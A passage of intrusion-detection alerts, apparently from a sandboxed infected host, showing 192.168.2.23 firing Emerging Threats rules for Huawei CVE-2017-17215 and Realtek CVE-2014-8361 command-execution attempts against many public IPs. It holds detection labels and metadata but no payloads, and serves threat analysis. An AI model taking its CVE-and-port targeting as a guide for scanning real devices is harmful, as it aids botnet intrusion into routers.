Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 90.71.230.151

Timestamp:	07/20/24-23:01:40.307219
SID:	2829579
Source Port:	37866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.7.45.224

Timestamp:	07/20/24-23:01:34.046616
SID:	2829579
Source Port:	41740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 177.27.5.34

Timestamp:	07/20/24-23:01:08.607816
SID:	2831300
Source Port:	45074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 218.167.11.105

Timestamp:	07/20/24-23:01:34.050313
SID:	2829579
Source Port:	37428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.254.145.51

Timestamp:	07/20/24-23:01:31.316196
SID:	2831300
Source Port:	59750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.255.88.144

Timestamp:	07/20/24-23:02:20.433035
SID:	2027339
Source Port:	54366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 122.78.135.79

Timestamp:	07/20/24-23:01:53.625101
SID:	2025132
Source Port:	45762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.47.181.83

Timestamp:	07/20/24-23:02:20.433034
SID:	2027339
Source Port:	36142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.208.124.228

Timestamp:	07/20/24-23:01:03.416441
SID:	2027339
Source Port:	48310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.105.77.87

Timestamp:	07/20/24-23:02:20.410049
SID:	2027339
Source Port:	38492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.125.8.233

Timestamp:	07/20/24-23:01:12.806839
SID:	2831300
Source Port:	58376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.59.133.184

Timestamp:	07/20/24-23:01:47.979559
SID:	2027339
Source Port:	36320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.216.216.160

Timestamp:	07/20/24-23:01:43.141970
SID:	2025132
Source Port:	48684
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.187.182

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	60438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.13.148.173

Timestamp:	07/20/24-23:01:14.284488
SID:	2829579
Source Port:	60452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.89.50.234

Timestamp:	07/20/24-23:01:58.474391
SID:	2831300
Source Port:	54626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.176.201.90

Timestamp:	07/20/24-23:01:57.914113
SID:	2027339
Source Port:	36066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 198.228.131.204

Timestamp:	07/20/24-23:01:42.612597
SID:	2831300
Source Port:	50022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.216.224.125

Timestamp:	07/20/24-23:01:44.839991
SID:	2025132
Source Port:	49784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.184.52.222

Timestamp:	07/20/24-23:01:46.453936
SID:	2831300
Source Port:	57814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.40.0.63

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	41636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.202.167.253

Timestamp:	07/20/24-23:01:59.296959
SID:	2025132
Source Port:	58156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 13.253.184.187

Timestamp:	07/20/24-23:01:48.089365
SID:	2831300
Source Port:	56670
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.158.48.199

Timestamp:	07/20/24-23:01:49.412594
SID:	2027339
Source Port:	37478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 84.167.140.65

Timestamp:	07/20/24-23:00:59.158278
SID:	2829579
Source Port:	46354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.196.10.52

Timestamp:	07/20/24-23:01:44.838946
SID:	2027339
Source Port:	47026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.213.237.39

Timestamp:	07/20/24-23:01:12.807585
SID:	2831300
Source Port:	55898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.132.161.86

Timestamp:	07/20/24-23:01:46.444461
SID:	2027339
Source Port:	58180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 50.61.91.2

Timestamp:	07/20/24-23:01:44.996260
SID:	2831300
Source Port:	58652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.8.52.195

Timestamp:	07/20/24-23:01:47.413068
SID:	2027339
Source Port:	48138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 38.122.84.31

Timestamp:	07/20/24-23:01:31.327808
SID:	2831300
Source Port:	52150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.244.173.225

Timestamp:	07/20/24-23:00:59.194576
SID:	2835222
Source Port:	57576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.121.90.69

Timestamp:	07/20/24-23:01:52.684763
SID:	2027339
Source Port:	35248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.199.180.209

Timestamp:	07/20/24-23:01:45.095767
SID:	2027339
Source Port:	35972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.221.8.145

Timestamp:	07/20/24-23:01:55.105161
SID:	2027339
Source Port:	40212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.68.201.164

Timestamp:	07/20/24-23:02:34.610209
SID:	2027339
Source Port:	53550
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.2.7.209

Timestamp:	07/20/24-23:01:41.156801
SID:	2025132
Source Port:	52004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.37.245.255

Timestamp:	07/20/24-23:01:57.429251
SID:	2027339
Source Port:	40982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.96.238.187

Timestamp:	07/20/24-23:02:04.052371
SID:	2025132
Source Port:	40874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.47.80.71

Timestamp:	07/20/24-23:01:44.706302
SID:	2025132
Source Port:	58266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.42.102.158

Timestamp:	07/20/24-23:01:42.660847
SID:	2025132
Source Port:	40084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.88.128.116

Timestamp:	07/20/24-23:01:24.943244
SID:	2835222
Source Port:	42238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.15.219.89

Timestamp:	07/20/24-23:01:47.163877
SID:	2025132
Source Port:	33238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.218.114.123

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	60340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.171.1.73

Timestamp:	07/20/24-23:01:34.053062
SID:	2835222
Source Port:	35306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.172.23.251

Timestamp:	07/20/24-23:01:58.301558
SID:	2027339
Source Port:	48106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.30.208.203

Timestamp:	07/20/24-23:02:06.689806
SID:	2027339
Source Port:	41968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.32.230.224

Timestamp:	07/20/24-23:01:46.512162
SID:	2831300
Source Port:	45772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.47.237.221

Timestamp:	07/20/24-23:01:27.650975
SID:	2835222
Source Port:	57578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.71.120.47

Timestamp:	07/20/24-23:01:42.129029
SID:	2027339
Source Port:	34930
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.124.32.18

Timestamp:	07/20/24-23:01:42.699598
SID:	2831300
Source Port:	45996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.173.234.248

Timestamp:	07/20/24-23:01:45.370481
SID:	2831300
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:48.133778
SID:	2027339
Source Port:	56752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.148.30.140

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	46804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.180.152.242

Timestamp:	07/20/24-23:01:20.110861
SID:	2835222
Source Port:	48034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.221.8.145

Timestamp:	07/20/24-23:01:47.990801
SID:	2027339
Source Port:	40110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.189.126.127

Timestamp:	07/20/24-23:01:52.582295
SID:	2025132
Source Port:	54232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.25.151.108

Timestamp:	07/20/24-23:01:06.991143
SID:	2829579
Source Port:	39806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.48.132

Timestamp:	07/20/24-23:01:00.634165
SID:	2829579
Source Port:	60608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.1.189.223

Timestamp:	07/20/24-23:01:34.060991
SID:	2829579
Source Port:	47632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.167.95.17

Timestamp:	07/20/24-23:01:42.812448
SID:	2027339
Source Port:	43362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.1.90.206

Timestamp:	07/20/24-23:01:09.002255
SID:	2831300
Source Port:	59450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.230.144.186

Timestamp:	07/20/24-23:01:44.996260
SID:	2027339
Source Port:	55994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.78.34.12

Timestamp:	07/20/24-23:01:42.522141
SID:	2025132
Source Port:	38482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 72.2.201.225

Timestamp:	07/20/24-23:01:52.244347
SID:	2831300
Source Port:	34198
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.38.220.62

Timestamp:	07/20/24-23:01:43.697010
SID:	2027339
Source Port:	40076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.119.211.11

Timestamp:	07/20/24-23:01:52.285243
SID:	2027339
Source Port:	36866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.183.176.41

Timestamp:	07/20/24-23:01:24.498942
SID:	2025132
Source Port:	42546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.71.150.37

Timestamp:	07/20/24-23:00:59.161892
SID:	2835222
Source Port:	32798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.91.249.28

Timestamp:	07/20/24-23:01:46.176757
SID:	2025132
Source Port:	47606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.75.193.125

Timestamp:	07/20/24-23:01:08.667512
SID:	2027339
Source Port:	58964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.218.184.181

Timestamp:	07/20/24-23:01:47.918473
SID:	2027339
Source Port:	38286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.250.145.46

Timestamp:	07/20/24-23:01:11.636425
SID:	2835222
Source Port:	39794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 196.108.213.184

Timestamp:	07/20/24-23:00:59.175742
SID:	2829579
Source Port:	37622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.185.16.155

Timestamp:	07/20/24-23:01:52.914137
SID:	2027339
Source Port:	53636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.244.254.171

Timestamp:	07/20/24-23:01:34.045143
SID:	2835222
Source Port:	47788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.84.25.49

Timestamp:	07/20/24-23:01:34.045749
SID:	2829579
Source Port:	48766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 181.21.97.146

Timestamp:	07/20/24-23:01:44.302645
SID:	2831300
Source Port:	36906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.205.210.219

Timestamp:	07/20/24-23:01:54.940318
SID:	2831300
Source Port:	46312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.190.148.15

Timestamp:	07/20/24-23:01:08.691384
SID:	2831300
Source Port:	47380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.89.250.200

Timestamp:	07/20/24-23:01:57.747300
SID:	2027339
Source Port:	40012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.210.162.125

Timestamp:	07/20/24-23:01:43.571815
SID:	2027339
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.83.225.175

Timestamp:	07/20/24-23:01:54.898102
SID:	2027339
Source Port:	49404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.29.184.117

Timestamp:	07/20/24-23:01:47.604425
SID:	2025132
Source Port:	37388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.73.249.89

Timestamp:	07/20/24-23:01:42.800583
SID:	2025132
Source Port:	41092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.166.152.235

Timestamp:	07/20/24-23:01:20.592206
SID:	2027339
Source Port:	34798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.27.28

Timestamp:	07/20/24-23:01:11.630627
SID:	2835222
Source Port:	50484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.45.46.163

Timestamp:	07/20/24-23:01:31.328855
SID:	2027339
Source Port:	33584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.221.152.25

Timestamp:	07/20/24-23:01:12.841280
SID:	2831300
Source Port:	43428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.122.84.31

Timestamp:	07/20/24-23:01:25.379759
SID:	2027339
Source Port:	51148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.190.228.200

Timestamp:	07/20/24-23:01:34.062277
SID:	2829579
Source Port:	35574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.191.84.86

Timestamp:	07/20/24-23:01:43.874054
SID:	2027339
Source Port:	60092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.106.80.160

Timestamp:	07/20/24-23:01:21.909111
SID:	2835222
Source Port:	48624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.76.157.173

Timestamp:	07/20/24-23:02:07.984371
SID:	2025132
Source Port:	35942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.223.8.125

Timestamp:	07/20/24-23:01:43.938688
SID:	2027339
Source Port:	37094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.25.16.6

Timestamp:	07/20/24-23:01:43.121284
SID:	2027339
Source Port:	43794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.167.167.154

Timestamp:	07/20/24-23:01:02.054387
SID:	2835222
Source Port:	60490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.74.227.91

Timestamp:	07/20/24-23:01:08.630327
SID:	2027339
Source Port:	55212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.6.211.62

Timestamp:	07/20/24-23:01:58.083668
SID:	2027339
Source Port:	39426
Destination Port:	52869
